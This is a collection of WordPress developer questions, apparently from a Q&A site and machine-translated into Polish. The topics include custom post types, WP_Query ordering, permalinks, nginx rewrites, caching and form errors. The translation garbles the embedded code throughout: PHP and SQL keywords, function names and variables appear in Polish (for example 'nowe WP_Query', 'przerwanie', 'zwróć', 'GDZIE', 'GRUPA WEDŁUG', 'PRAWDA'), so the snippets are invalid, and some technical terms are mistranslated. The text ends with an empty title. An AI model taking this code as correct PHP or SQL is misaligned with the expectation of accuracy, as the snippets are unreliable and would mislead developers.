text: Mam zupełnie nowy motyw, który właśnie stworzyłem za pomocą _s (podkreśleń), który nie powoduje przesyłania formularzy. Oto błędy, które otrzymuję w konsoli: Po przesłaniu: Uncaught Typeerror: cannot read property: 'checkValidity' of undefined Followed by: Resource interpretowany jako Script, ale przesyłany z typem MIME text/html: "about:blank". Steps I' Wykonaliśmy: 1. Sprawdź, czy WP jest w stanie wysyłać e-maile, wprowadzając „zresetuj hasło” 2. Zainstalowałem wtyczkę, która weryfikuje e-maile, które mogą być wysyłane 3. Zawęziłem temat do samego motywu, ponieważ _Jestem_ w stanie wysyłać formularze, gdy dwadzieścia trzynaście zainstalowany 4. problem występuje zarówno w Contact Form 7, jak i Gravity Forms, więc żaden z nich nie jest 5. Odinstalowałem wszystkie wtyczki i nadal nie mogę przesłać Każdy ma pojęcie, co może być przyczyną tego w moim motywie ?


title: Niestandardowe pole nie wyświetla się, gdy kategoria została określona w pętli/tagu

text: Używam pól niestandardowych (poprzez Advanced Custom Fields) do wyświetlania określonych informacji. Jeden z nich, autor (dla którego czasami pojawia się wiele wpisów), wyświetla się dobrze w całym serwisie, ale nie pokaże się na stronie głównej, gdy zidentyfikuję konkretną kategorię w parametrach pętli lub na stronie tagu. Kod to: <?php $i = 0; foreach(get_field('autor') as $related): ?> <?php if($i > 0) { echo "i"; } ?> <?php echo get_the_title($related->ID) ?> <?php ++$i; na każdym kroku; ?> Wszelkie wskazówki, dlaczego to nie działa, byłyby bardzo mile widziane! Dziękuję!


title: Edytuj niestandardowy typ posta na niestandardowej stronie administratora zamiast postu administratora

text: Tło: Nadal jestem całkiem nowy w kodowaniu i WordPressie. Dla mnie najlepszym sposobem zrozumienia jest praca nad konkretnym projektem. **Projekt:** Chcę zbudować narzędzie do obsługi relacji z klientami dla WordPress, które będzie używane głównie z Backendu Wordpress. Mam niestandardowe typy postów: Kontakty / Osoby i Zamówienia. Pola, które dodałem za pomocą zaawansowanych pól niestandardowych. W tej chwili niepokoi mnie to, że interfejs użytkownika administratora poczty nie wydaje się bardzo regulowany. Np. chcę wybrać zamówienia w polu wyboru, a następnie przypisać je do klienta. Nie chcę później widzieć żadnego pola wielokrotnego wyboru na kliencie, ale ładną tabelę wszystkich przypisanych zamówień. Również chcę rejestrować relacje między ludźmi, takie jak m.in. jedna osoba jest odbiorcą poczty innej, która jest firmą. Następnie chciałbym pokazać listę dla każdej osoby, ze wszystkimi adresami e-mail, niezależnie od tego, czy pochodzą od tej osoby, czy od przypisanego odbiorcy. **Pomysł** : Widziałem kilka wtyczek, które używają strony opcji administratora z formularzem do wyświetlania i edycji zarówno listy postów, jak i jednego konkretnego posta, co wydaje się zapewniać znacznie większą elastyczność w tworzeniu interfejsu użytkownika. Chciałbym więc stworzyć taki formularz administracyjny do tworzenia, edytowania i wyświetlania moich niestandardowych typów postów. Jednak całkowicie utknąłem i zagubiłem się w tym, co i jak to zrobić. Nadal jestem zbyt noobem, aby zrozumieć cały kod z tych wtyczek. **Pytanie nadrzędne:** Jak utworzyć, wyświetlić i edytować niestandardowy typ wpisu na stronie opcji administratora zamiast strony administratora wpisu? **Moja próba:** Myślę, że muszę podzielić ten problem na śmieci, takie jak: 1. zarejestruj niestandardową stronę administratora 2. dodaj formularz do tej niestandardowej strony administratora, który wyświetla pola z niestandardowego typu postu z żądanym Projekt interfejsu użytkownika. 3. funkcjonalność tworzenia nowego posta: * przekierowanie do tej niestandardowej strony administratora, jeśli kliknę link / przycisk, aby utworzyć nowy post * sprawi, że formularz zapisze wprowadzone wartości w nowym poście 4. funkcjonalność przeglądania i edycji istniejący post: * przekieruj do tej niestandardowej strony administratora, jeśli kliknę istniejący post, aby go edytować * wyświetl wartości pól postu w formularzu i pozwól mi je zmienić i zaktualizować wartości. Aspekty 3 i 4 stanowią dla mnie problem. **Wiem, że to są różne pytania.** Wymieniam je tutaj, abyś mógł zobaczyć, jakie są moje skręcenia mózgu i zbadam je i poproszę o nie osobno. **Pytanie:** Aby móc podejść do tego projektu (i zadać właściwe dalsze pytania), najpierw muszę wiedzieć, czy są to właściwe kroki do rozwiązania, czy też powinienem podejść do projektu zupełnie inaczej. Proszę, daj mi trochę oświecenia! Wielkie dzięki!


title: Zamów posty według daty, a następnie według niestandardowego pola

text: Próbuję zrobić coś takiego. Porządkowanie postów według dnia (nie czasu) ORAZ wartości meta Chcę wyświetlać posty na blogu uporządkowane według daty (nie czasu), a następnie w ciągu tego dnia chcę je posortować według niestandardowego pola my_post_rating. To po prostu wyświetla posty uporządkowane według oceny. $args = array( 'post_type' => 'post', 'posts_per_page' => '-1', 'meta_key' => 'my_post_rating', 'orderby' => 'meta_value_num', 'ignore_sticky_posts' => 1, ) ; $new_query = nowe WP_Query( $args ); Próbowałem też sugerowanego rozwiązania, ale to nie zadziałało. Proszę zasugerować, co jest nie tak? **Edytuj //** Dodano zrzut Var > string(344) "SELECT wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON > (wp_posts.ID = wp_postmeta.post_id) WHERE 1=1 AND wp_posts.post_type = > 'post' AND (wp_posts.post_status = 'opublikuj' LUB wp_posts.post_status = > 'prywatny') ORAZ (wp_postmeta.meta_key = 'my_post_rating') GRUPUJ WG> wp_posts.ID ZAMÓWIENIE WG wp_postmeta.meta_value+0 DESC "


title: wp_insert_post wygenerował mieszane permalinki

text: Piszę wtyczkę, która używa `wp_insert_post()` do programowego wstawiania postów, a moje ustawienie permalink to `/%category%/%postname%/` Ze wszystkich wstawionych postów `wp_posts.guid` pokazuje 2 typy danych wyjściowych. Niektóre posty będą następować po `/%category%/%postname%/` a niektóre `/?p=POST_ID`. Kiedy używam `get_permalink()`, otrzymuję również mieszane wyniki, podobne do tego, co jest przechowywane w `wp_posts.guid` Zastanawiam się, co to powoduje i jak mogę zmusić wszystkie posty do podążania za moją konfiguracją permalink? W tym samym czasie, jak wymusić przekierowanie wszystkich linków `/p=POST_ID` zgodnie z ustawieniem permalinka, które w tym przypadku `/%category%/%postname%/`? Dziękuję EDIT: Później dowiedziałem się, że te z domyślnym linkiem bezpośrednim są w rzeczywistości postami „szkicowymi”. Przepraszam za zamieszanie.


title: Przypomnij użytkownikowi o swoim koncie, jeśli nie używał go przez 6 miesięcy

text: Mam stronę internetową działającą z systemem rejestracji/logowania użytkownika, który również działa. Chcę automatycznie wysłać e-mail do wszystkich użytkowników, którzy nie używali swojego konta przez 6 miesięcy. Mam pomysł, ale zastanawiałem się, czy byłoby lepsze/wygodniejsze rozwiązanie. Ponieważ zostanie to zrobione w PHP, wydaje mi się, że wymaga to zadania cron, co nie jest problemem, ponieważ wiele z nich robiłem wcześniej. Wygląda na to, że Wordpress po prostu nie przechowuje informacji o ostatniej wizycie użytkownika na mojej stronie (według mojej wiedzy). Wtedy pomyślałem, że mogę po prostu zapisać w bazie danych (ręcznie) ostatnią wizytę użytkownika na stronie i przeprowadzić porównanie z bieżącą datą w pliku cron PHP. Czy ktoś ma lepszą propozycję? Lub nawet wtyczkę, która zrobi to za mnie :p Dzięki!


title: Jak mogę rozwiązać problem z małymi literami w galerii nextgen?

text:
Używam wtyczki galerii nextgen z tym kodem: $galleries = $wpdb->get_results( "SELECT t.*, tt.* FROM $wpdb->nggallery AS t INNER JOIN $wpdb->nggpictures AS tt ON t.gid = tt.galleryid GDZIE tt.exclude != 1 GRUPA WEDŁUG tt.galleryid ZAMÓWIENIE według tt.galleryid"); echo do_shortcode('[nggallery id='.$gallery[0]->gid.' template=galleryview images=0]'); echo '
'; foreach ( $galerie as $gallery ) { $img_date = explode("-", $gallery->imagedate); $ano = $img_date[0]; $mes = $img_date[1]; $img_gallery_url = get_bloginfo('url').'/wp-content/uploads/'.$ano.'/'.$mes.'/'.$gallery->nazwa pliku; // $gallery->nazwa pliku trazendo małe litery echo '
 alttext.'"/ > '.$gallery->nazwa.'
'; } echo '
'; Ale `$gallery->nazwa_pliku` nadchodzi małymi literami. Moje obrazy są zapisywane bez konieczności pisania małymi literami. * Jak mogę to naprawić? * Czy istnieje sposób na wprowadzenie obowiązkowych małych liter w przesyłaniu obrazu Wordpress (galeria nextgen)? * Czy istnieje sposób, aby `$gallery->nazwa_pliku` przyniosła właściwą nazwę pliku bez zapisywania małych liter?


title: Która wtyczka pozwoli mi powiązać jeden post z drugim?

text: Oto, co próbuję zrobić: próbuję umożliwić użytkownikom tworzenie postów w kategorii „A”. Następnie utwórz post w 'kategorii-B', który jest połączony z postem w 'kategorii-A' Na przykład: kategoria-A Tytuł posta Treść posta... link do dodatkowego postu w kategorii-B


title: Czy mogę zdecydować, jakie kategorie będą wyświetlane na mojej stronie postów?

text: Wybaczcie, jeśli to zbyt podstawowe pytanie... Używam Twenty Eleven i chcę, aby moja kategoria "wiadomości" była pokazywana tylko na stronie głównej, z wyłączeniem wszystkich innych kategorii. W jaki sposób mogę to zrobić?


title: Lokalizacja szablonu ustawień użytkownika Buddypress?

text: Próbuję dostosować układ BuddyPress i nie mogę znaleźć miejsca, w którym można edytować układ strony profilu użytkownika. Np.: /members/username-nice/settings/ To jest tylko strona, na której możesz zmienić swoje hasło. Nagłówek i stopka wyglądają tak, jak powinny, jest też formularz do zmiany hasła, ale nie mogę znaleźć pliku szablonu, z którego to pochodzi. Skopiowałem wszystkie pliki z /wp-content/plugins/buddypress/bp-themes/bp-default/members/single do mojego motywu. W tym folderze znajduje się folder ustawień ** NIE **. Udało mi się edytować wszystkie inne szablony profili (aktywność, profil itp.), ponieważ te szablony znajdowały się w motywie. 1) gdzie/czy te pliki istnieją? 2) czy ta treść jest generowana przez WP, a nie BP? Jeśli tak, do którego szablonu domyślnego powraca? A jak mogę go edytować?


title: Jak mogę przenieść (lub utworzyć inny) przycisk publikowania?

text: Jak utworzyć przycisk „opublikuj”, aby umieścić go w niestandardowym metaboksie? Lub jeśli możesz wskazać mi kod, który tworzy bieżące pole publikowania, to mi pomoże. -próba uproszczenia mojego niestandardowego typu posta-


title: Jak sprawić, by Wordpress wysyłał użytkownikowi potwierdzenie/weryfikację e-maila podczas rejestracji?

text: Mam zainstalowany WP 3.3 i działa świetnie. Mój klient chciałby potwierdzić poprawny adres e-mail, wysyłając użytkownikowi wiadomość e-mail z potwierdzeniem zawierającą link do "potwierdź". Pobawiłem się trochę z Pie Register, ale nie mogę zmusić go do wysyłania e-maili, tak jak mówi. Czy istnieją inne wtyczki lub narzędzia zdolne do tego samego? Nie sądzę, że to wielka sprawa, ale klient nie ustąpi. Również strona wysyła inne e-maile w porządku. pomysły?


title: System zamawiania przez Wordpress

text: Nie używam zbyt wiele Wordpressa, ale zastanawiałem się, czy ktoś wie, czy będzie to możliwe w WP. Zasadniczo chcę mieć system zamówień online, tak jak normalny koszyk, w którym możesz wkładać rzeczy do koszyka itp., Z wyjątkiem tego, że zamiast płacić za to, po prostu składasz zamówienie i generuje on do mnie e-mail z zamówieniem? Jonny?


title: Próbuję dodać obrazek do mojego CSS

text: Próbuję dodać obrazek do mojego CSS z kodem folderu motywu, `<?php bloginfo('template_directory'); ?>`, który działa w HTML, ale z jakiegoś powodu nie działa w CSS. Czy ktoś wie dlaczego lub rozwiązanie? Oto mój kod: background: url("<?php bloginfo('katalog_szablonu'); ?>/images/bg.jpg");


title: Dlaczego edytor wyświetla się w niestandardowym typie posta?

text:
Tworzę niestandardowy typ treści, a na stronie dodawania nowej strony i edycji _editor_ jest obecnie wyświetlany, gdy mam go zakodowany, aby go tam nie było. To działało dobrze około tydzień temu i nie jestem pewien, co poszło nie tak. Jakieś pomysły? Oto kod z mojej strony funkcji: add_action('init', 'recipe_register'); function Recipe_register() { $labels = array( 'name' => _x('Recipes', 'Receptura ogólna typu posta'), 'singular_name' => _x('Osoba', 'Typ posta w liczbie pojedynczej'), 'add_new ' => _x('Dodaj nową recepturę', 'recipe'), 'add_new_recipe' => __('Dodaj nową recepturę'), 'edit_recipe' => __('Edytuj przepis'), 'new_recipe' => __( 'Nowa receptura'), 'view_recipe' => __('Wyświetl przepis'), 'search_recipes' => __('Wyszukaj przepisy'), 'not_found' => __('Nic nie znaleziono'), 'not_found_in_trash' => __('Nic nie znaleziono w Koszu'), 'parent_item_colon' => '' ); $args = array( 'labels' => $labels, 'public' => true, 'publicly_queryable' => true, 'show_ui' => true, 'query_var' => true, 'rewrite' => array("slug " => "recipes"), 'capability_type' => 'post', 'hierarchical' => true, 'menu_position' => null, 'supports' => array('title','author','thumbnail') ); register_post_type('przepis',$args); register_taxonomy('type','recipe',array( 'hierarchical' => true, 'label' => 'Typ', 'show_ui' => true, 'query_var' => true, 'rewrite' => array( ' ślimak' => 'typ' ), )); } add_action( 'init', 'create_post_type' ); function create_post_type() { register_post_type( 'recipe', array( 'labels' => array( 'name' => __( 'Recipe' ), 'singular_name' => __( 'Recipe' ) ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'recipe') ) ); } add_action("admin_init", "admin_init"); function admin_init(){ add_meta_box("recipedetails_meta", "Informacje o przepisie", "recipe_meta", "przepis", "normalny", "niski"); } function recepta_meta() { global $post; $custom = get_post_custom($post->ID); $nazwa = $niestandardowa["nazwa_przepisu"][0]; $wydajność = $niestandardowa["wydajność_przepisu"][0]; $czas = $niestandardowy["czas_przepisu"][0]; $składniki = $niestandardowe["recipe_ingredients"][0]; $kierunki = $niestandardowe["kierunki_przepisów"][0]; $kalorie = $niestandardowe["przepis_kalorii"][0]; $zrobione = $niestandardowe["przepis_wykonane"][0]; $oryginał = $niestandardowy["recipe_original"][0]; ?>

Nazwa
<input name="recipe_name" value="<?php echo $name; ?>">

Zysk
<input name="recipe_yield" value="<?php echo $yield; ?>">

Czas
<input name="recipe_time" value="<?php echo $time; ?>">

Kalorie
<input name="recipe_calories" value="<?php echo $calories; ?>">

URL
<input name="recipe_fat" value="<?php echo $done; ?>">

Oryginał
<input name="recipe_original" value="<?php echo $original; ?>">

Składniki:
 <textarea cols="50" rows="5" name="recipe_ingredients"><?php echo $składniki; ?></textarea>

Wskazówki dojazdu:
 <textarea cols="50" rows="5" name="recipe_directions"><?php echo $directions ; ?></textarea>

 <?php } add_action('save_post', 'save_details'); funkcja save_details(){ global $post; update_post_meta($post->ID, "nazwa_przepisu", $_POST["nazwa_przepisu"]); update_post_meta($post->ID, "recipe_yield", $_POST["recipe_yield"]); update_post_meta($post->ID, "czas_przepisu", $_POST["czas_przepisu"]); update_post_meta($post->ID, "recipe_ingredients", $_POST["recipe_ingredients"]); update_post_meta($post->ID, "recipe_directions", $_POST["recipe_directions"]); update_post_meta($post->ID, "recipe_calories", $_POST["recipe_calories"]); update_post_meta($post->ID, "recipe_done", $_POST["recipe_done"]); } add_filter('manage_edit-recipe_columns', 'add_recipe_columns'); function add_recipe_columns($gallery_columns) { $new_columns['cb'] = '<input type="checkbox" />'; $new_columns['title'] = _x('Przepis', 'nazwa kolumny'); $nowe_kolumny['kalorie'] = __('Kalorie'); $nowa_kolumna['czas'] = __('Czas'); $nowa_kolumna['typ'] = __('Typ'); zwróć $nowa_kolumny; } add_action('manage_recipe_posts_custom_column', 'manage_recipe_columns', 10, 2); function manage_recipe_columns($column_name, $id) { global $post; switch ($column_name) { case 'calories': echo get_post_meta( $post->ID , 'recipe_calories' , true ); przerwanie; case 'time': echo get_post_meta( $post->ID, 'recipe_time' , true ); przerwanie; case 'typ': echo get_the_term_list($post->ID, 'typ', '', ', ',''); przerwanie; domyślnie: przerwa; } } ?>


title: Jakich metod należy używać do odpierania splogów podczas instalacji dla wielu użytkowników?

text: Korzystamy z wersji 3.1.1 dla wielu użytkowników z najnowszą wtyczką BuddyPress, ale mamy różnego rodzaju problemy z rejestracjami w splogach. Do tej pory zaczęliśmy używać Anti-Splog, Bad Behavior, ReCaptcha na stronie rejestracji i zmieniliśmy nasz .htaccess, jak opisano tutaj i gdzie indziej. Czy ręczne wykrywanie i usuwanie ich jest faktem przy otwartej rejestracji, czy też brakuje nam czegoś, co mogłoby pomóc?


title: Konfiguracja Nginx dla NGG / NextGen Gallery

text: Uruchamiam wordpress na nginx + php-fpm w podfolderze `abc`. Chcę wgrać obrazy do NextgenGallery, a program do przesyłania oparty na ajax daje to: POST 404 dla http://example.com/abc/index.php/photocrati_ajax Oczywiście przepisanie w `nginx.conf` nie działa. Oto odpowiednie jego części: try_files $uri $uri/ /index.php?q=$request_uri; lokalizacja ~ \.php$ { try_files $uri =404; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass php-fpm; fastcgi_index index.php; } A więc, jak obsłużyć `photocrati_ajax` przez nginx i sprawić, by przesyłanie działało?


title: Jak sprawić, by posty niestandardowe zachowywały się jak taksonomia?

text: Chciałbym mieć na swoim blogu bazę modelek. Sekcja modeli będzie znajdować się w `/models/`. Będzie pętla najnowszych postów z modelami, a także pełna lista nazw modeli. Pojedyncza strona modelu powinna mieć adres URL: `/models/kate-moss`. Pojedyncza strona każdego modela powinna być niestandardowym postem wordpress, zawierającym podstawowy opis, zdjęcia i specjalne pola, takie jak wiek i data urodzenia, waga i wzrost itp. Na szablonie pojedynczej strony poniżej opisu modela powinna znajdować się lista postów związanych z osoba. Jeszcze jedna ważna rzecz: kiedy autor publikuje post, powinien móc po prostu wybrać osobę powiązaną z listy za pomocą pola wyboru. Innymi słowy, osoba nie jest ani taksonomią celną, ani pocztą celną, jest to jedno i drugie. Ale jak to wdrożyć?


title: dynamiczne generowanie składni wtyczek

text: Pobrałem wtyczkę odtwarzacza audio dla WP. składnia jest bardzo prosta. Po prostu dodajesz wiersz `[audio:my_file.mp3]` do edytora postów/fragmentu i wywołujesz go w pętli odpowiednio za pomocą `the_content()` lub `the_excerpt()`. Chciałbym zbudować metabox, w którym użytkownik przesłałby plik, a składnia wtyczki byłaby automatycznie generowana. Wiem, jak wstawić metadane do bazy danych, ale wyciągnięcie ich za pomocą `get_post_meta()` lub `the_meta()` po prostu pobiera składnię taką, jaka jest, bez zastępowania jej żądaną zawartością wtyczki (tj. odtwarzaczem audio) . Myślałem o dynamicznym wstrzykiwaniu składni do edytora/fragmentu za pomocą filtra `default_content`, ale ten filtr dotyczy tylko zwykłych postów, podczas gdy mój jest niestandardowym typem posta (audio). Twoje pomysły są mile widziane.


title: Jak mogę używać WordPressa jako tablicy ogłoszeń? (ale za darmo)

text: Chcę użyć instalacji WordPress do tablicy ogłoszeń. Szukając w Internecie znalazłem następujące dwa posty, które podają listę opcji: http://www.wpmods.com/turn-wordpress-into-job-board/ http://skyje.com/2010/01/job-board -solutions-for-wordpress/ Ale wszystkie opcje (z wyjątkiem 1) kosztują. Czy istnieje darmowe (dobre) rozwiązanie dla tablicy ogłoszeń WP (motyw/wtyczki)?


title: Zewnętrzne/nie-WP reguły przepisywania

text: Mam dość złożony wordpress z wieloma podkatalogami: example.com/sub1/example.com/sub2/ Próbuję zaimplementować obsługę historii/zakładek, a do tego potrzebuję przepisać adresy URL zawierające te katalogi do katalogu, a nie do strony indeksu. Stamtąd AJAX może przejąć kontrolę, zinterpretować pierwszy adres URL i załadować zawartość. Wierzę, że aby to zrobić, muszę użyć `$wp_rewrite->non_wp_rules` Do tej pory nawet nie byłem w stanie napisać prostego przepisania z jednego katalogu do drugiego: //flush the rules// function test_flush_rewrites() { global $wp_rewrite ; $wp_rewrite->flush_rules(); }; //dodaj nową regułę// function test_add_rewrites() { global $wp_rewrite; $test_new_non_wp_rules = array( 'sub1/' => 'sub2', ); $ wp_rewrite-> non_wp_rules = $ test_new_non_wp_rules + $ wp_rewrite-> non_wp_rules; }; //dodaj akcje// add_action('generate_rewrite_rules', 'test_add_rewrites'); add_action('admin_init', 'test_flush_rewrites'); Daje to wynik `404`, gdy przechodzę do katalogu „`sub1`”. także 'sub1' => 'sub2' // nic nie robi '/sub1/' => 'sub2' // nic nie robi '/?sub1/' => 'sub2' // nic nie robi. pisanie w `.htaccess` powinno wyglądać mniej więcej tak: RewriteRule ^([^/]+)/.*$ /$1/ najlepiej przekierować `sub1/anytutaj` na `sub1`, `sub2/anytutaj ` do `sub2` i tak dalej. Dzięki za wszelką pomoc.


title: Blokuj komentarze z indeksowania wyszukiwarek

text: Pamiętam, że kiedyś na WordPressie była opcja blokowania komentarzy przed indeksowaniem w wyszukiwarkach. Jednak nigdzie go nie mogę znaleźć. Czy ktoś ma sugestie lub alternatywy? Dziękuję.


title: W3 Total Cache Miniification: sposób na powrót?

text: W3 Total Cache Miniification: po dodaniu wszystkich moich plików js w ustawieniach minifikacji, co jeśli coś się zepsuje? Czy można przywrócić oryginalne niezminifikowane pliki? Dziękuję.


title: Jak najlepiej kierować treści wyświetlane dynamicznie?

text: Edytuję motyw WordPress portfolio „Bizz” (http://www.wpexplorer.com/bizz-wordpress-theme). Obejmuje niestandardowe typy postów do zarządzania przykładami portfolio, wyróżnieniami na stronie głównej itp. Chcę zmienić kolor tła wyświetlanego za każdym nagłówkiem „podświetlenia”, ale ponieważ są one wyświetlane dynamicznie, nie jestem pewien jak powinienem celować w każde h2. Czy najlepiej byłoby dołączyć unikalną klasę do każdego z trzech nagłówków za pośrednictwem php, czy spróbować skierować je za pomocą selektorów CSS? A jak najlepiej bym to zrobiła? Moim głównym zmartwieniem w korzystaniu z selektorów CSS byłaby kompatybilność wsteczna, nie wiem, czy chcę powiększyć stronę dodatkowymi plikami startowymi. Jak mam się do tego zabrać? Dziękuję!


title: podświetl konkretny tekst w polu treści

text: To pomysł, który przyszedł mi do głowy i chciałbym wiedzieć, czy to możliwe i jak do niego podejść, jeśli tak... Mam własny framework wordpress, którego używam jako podstawę do wszystkich moich projektów, zarządzam generowaną pozycją treści w polu treści za pomocą skrótów, które odpowiadają na e-specyficzny div z lokalizacją... Mówiąc to, czasami znajduję się w bałaganie naprawdę trudnym do zrozumienia, na przykład: [jedna_kolumna] zawartość [/jedna_kolumna] [jedna_kolumna] zawartość [/ jedna_kolumna] [jedna_kolumna] treść [/jedna_kolumna] [jedna_kolumna] treść [/jedna_kolumna] gdy tekst jest duży, trudno jest znaleźć miejsce, w którym są umieszczone skróty. Czy jest więc jakiś sposób na podświetlenie skrótu (np. innym kolorem) w polu treści? a może łatwiej, czy jest jakiś sposób na wcięcie treści i zachowanie tego wcięcia po zapisaniu lub zaktualizowaniu posta? Chciałbym poznać Twoją opinię, Z góry dziękuję. Z poważaniem.


title: Domyślne skrypty dodane do każdej strony administratora

text: Chociaż jQuery jest dostępne na wszystkich stronach administracyjnych, tylko wybrane biblioteki jQuery UI są dodawane dla niektórych stron (tj. jest to inne dla każdej strony administratora). Próbuję dowiedzieć się, gdzie faktycznie zarejestrowane są biblioteki jQuery UI dla każdej strony administratora. Na przykład strona widgets.php ma możliwość przeciągania i upuszczania.


title: php ładuje inną strukturę niż kod źródłowy

text:
Próbowałem zakodować w instrukcji warunkowej do pliku szablonu i miałem trochę problemu. To jest kod w pliku else { echo('

' . the_post_thumbnail( 'produkt -thumb', array( 'class' => 'product-thumb' ) ). '

' . the_title () . '

Nr projektu:	' .get_post_meta($post->ID, 'prod_id', true) '

Stan produktu:	' . get_post_meta($post->ID, 'prod_status', true) '

Styl:	' . get_post_meta( $post->ID, 'prod_style', true) '

Rozmiar:	' . wpautop(get_post_meta($post->ID, 'prod_sizes', true)) . '
' . ($post->prod_price && $post->prod_sale == ""?('
Oryginalna cena:	 ' .get_post_meta($post->ID, 'prod_price', true) '
'):($post->prod_sale != ""?('

Cena sprzedaży:
	' get_post_meta($post->ID, 'prod_sale', true) '

Oryginalna cena:

' .get_post_meta($post->ID, 'prod_price', true) '

') : '

' )) . „

” . ($post->post_content?('

' . the_content() . '

' ):'') . '

Kliknij tutaj, aby wyświetlić więcej szczegółów

' . ($post->post_content?('

' . the_content() . '

') :'') . '

Kliknij tutaj, aby wyświetlić więcej szczegółów

' );} To jest to, co przypuszczalnie do wyprowadzenia

Gabbeh Rug-12767

Nr projektu:	12767

Stan produktu:	W magazynie

 Styl:	W całości

 Rozmiar:
4,1 x 6,6
 Kliknij tutaj, aby wyświetlić więcej Szczegóły Kliknij tutaj, aby wyświetlić więcej Szczegóły  Ale zamiast tego, z jakiegoś powodu, gdy strona ładuje się w przeglądarce, wygląda to tak: http://dev.imagecarpets.com/products/contemporary-rug/moroccan-rug-140105/Marokański dywan-140105

Nr projektu:	<s pan>140105

Stan produktu:	 W magazynie

Styl:	Allover

Rozmiar:
8,5 x 10
 Kliknij tutaj, aby wyświetlić więcej szczegółów Kliknij tutaj, aby wyświetlić więcej szczegółów Obraz miniatury i permalink są ładowane poza klasą listy miniatur zgodnie z przeznaczeniem, a łącze nie zamienia się w łącze. Po prostu drukuje ścieżkę niesformatowaną. Prawdopodobnie zrobiłem coś głupiego, ale nie mogę tego rozgryźć. Czy ktoś może pomóc?


title: Wyświetlaj najnowsze recenzje produktów WooCommerce na górze

text: Domyślnie recenzje produktów woocommerce są wyświetlane w porządku chronologicznym. Jak sprawić, by najnowsza recenzja pojawiła się jako pierwsza?


title: Usuwanie menu Moje witryny z administratora

text: Próbuję znaleźć rozwiązanie, aby usunąć menu „Moje witryny”, które znajduje się w sekcji Pulpit nawigacyjny instalacji w wielu witrynach. Jakieś pomysły na jaki hak zastosować? ![tutaj wprowadź opis obrazu](http://i.stack.imgur.com/IQWw4.png)


title: Opublikuj przez e-mail do niestandardowego typu postu

text: Mam scenariusz, w którym chcielibyśmy opublikować na naszym blogu e-mailem. Jednak musi to być niestandardowy typ posta. Zrobiłem trochę badań, ale nie znalazłem żadnych przykładów ani pomysłów, jak to zrobić. Każda pomoc byłaby mile widziana.


title: Jak wyświetlić datę utworzenia bloga

text: Czy można wyświetlić (w PHP) rok powstania bloga? Chcę użyć tego w stopce (prawa autorskie) na kilku moich blogach z moim motywem.


title: Jak pokazać rzeczywistą datę postu w wersji roboczej

text: Patrząc na wersję roboczą posta, `get_the_date()` wydaje się zwracać tylko dzisiejszą datę, a nie datę publikacji, nawet jeśli wybrałem inną datę na ekranie edycji posta. Czy istnieje sposób na pokazanie „rzeczywistej” daty ogłoszenia, którą wybrałem? Widzę w bazie danych MySQL, że jest ona zapisana w kolumnie post_date. Ale, tak jak get_the_date, `$post->post_date` nie zwraca go. Jeśli post jest wersją roboczą, pokazuje aktualną datę i godzinę.


title: Nie można pozbyć się minifikacji po odinstalowaniu W3 Total Cache

text: Próbowałem wymienić mój WP Super Cache na W3 Total Cache, ale to nie zadziałało. Był cały zabugowany i minifikacja nie działała poprawnie. Więc odinstalowałem to sugerowane przez twórcę wtyczki w jednym wątku na forum. Problem polega na tym, że mój CSS nadal wydaje się być w pamięci podręcznej. Edytuję domyślny style.css mojego motywu i nadal ładuje starą wersję bez względu na to, co robię. Jednak wiele razy czyściłem pamięć podręczną. I nawet jeśli uzyskasz dostęp do pliku css bezpośrednio z przeglądarki, nadal otrzymasz starą wersję (spójrz na to przez FTP, pokaże właściwą wersję). Co się do cholery dzieje? Wygląda na to, że minify wkrada się gdzieś w mojej instalacji WP i dostarcza stary CSS z pamięci podręcznej. Czy moglibyście wskazać, gdzie powinienem szukać? EDYTUJ Zmieniłem nazwę folderu motywu i problem zniknął, co w pewnym sensie świadczy o tym, że niektóre pozostałości minifikacji zakłócają mój kod. Nadal chciałbym się go pozbyć, jeśli ktoś może pomóc EDYTUJ 2 Więc to teraz poważnie doprowadza mnie do szału. Pomimo tego, co powiedziałem, problem nie ustąpił. Postanowiłem więc USUNĄĆ TO WSZYSTKO i zacząć od zera. Wyczyściłem bazę danych i pliki. Zainstalowano nową instalację WP. Przywrócono bazę danych i tylko przesłany folder WP. I zgadnij co? Problem nadal istnieje. Czy to wskazówka, że jest w DB?


title: Poprzednie / następne posty używające miniatury polecanego obrazu jako linków

text: Potrzebuję nawigacji do dwóch poprzednich i dwóch następnych postów w tej samej kategorii. Sprawiłem, że działa świetnie dla jednego poprzedniego i jednego następnego posta w tej samej kategorii. To właśnie mam teraz. Poprzedni post: <?php $prev_post = get_previous_post(PRAWDA); $prev_post_thumb_image_url = wp_get_attachment_image_src( get_post_thumbnail_id($prev_post->ID), 'miniaturka'); if (!empty( $prev_post )): ?> <a href="<?php echo get_permalink( $prev_post->ID ); ?>"<img src="<?php echo $prev_post_thumb_image_url[0]; ?> > <?php endif; ?> Następny post: <?php $next_post = get_next_post(PRAWDA); $next_post_thumb_image_url = wp_get_attachment_image_src( get_post_thumbnail_id($next_post->ID), 'miniaturka'); if (!empty( $next_post )): ?> <a href="<?php echo get_permalink( $next_post->ID ); ?>"><img src="<?php echo $next_post_thumb_image_url[0]; ? >"> <?php endif; ?> Potrzebuję sprawdzić, czy są dwa poprzednie posty i wyświetlić więcej niż dwa poprzednie kciuki, a także sprawdzić, czy są kolejne dwa posty i wyświetlić je, jeśli istnieją. Oczywiście fajnie byłoby wyświetlić jeden kciuk poprzedniego/następnego posta, jeśli nie ma dwóch poprzednich postów. Jeszcze lepiej wyświetlać kolejne 4 posty na pierwszym i poprzednie 4 posty na ostatniej stronie.


title: Pomoc w problemach z oprogramowaniem Wordpress!

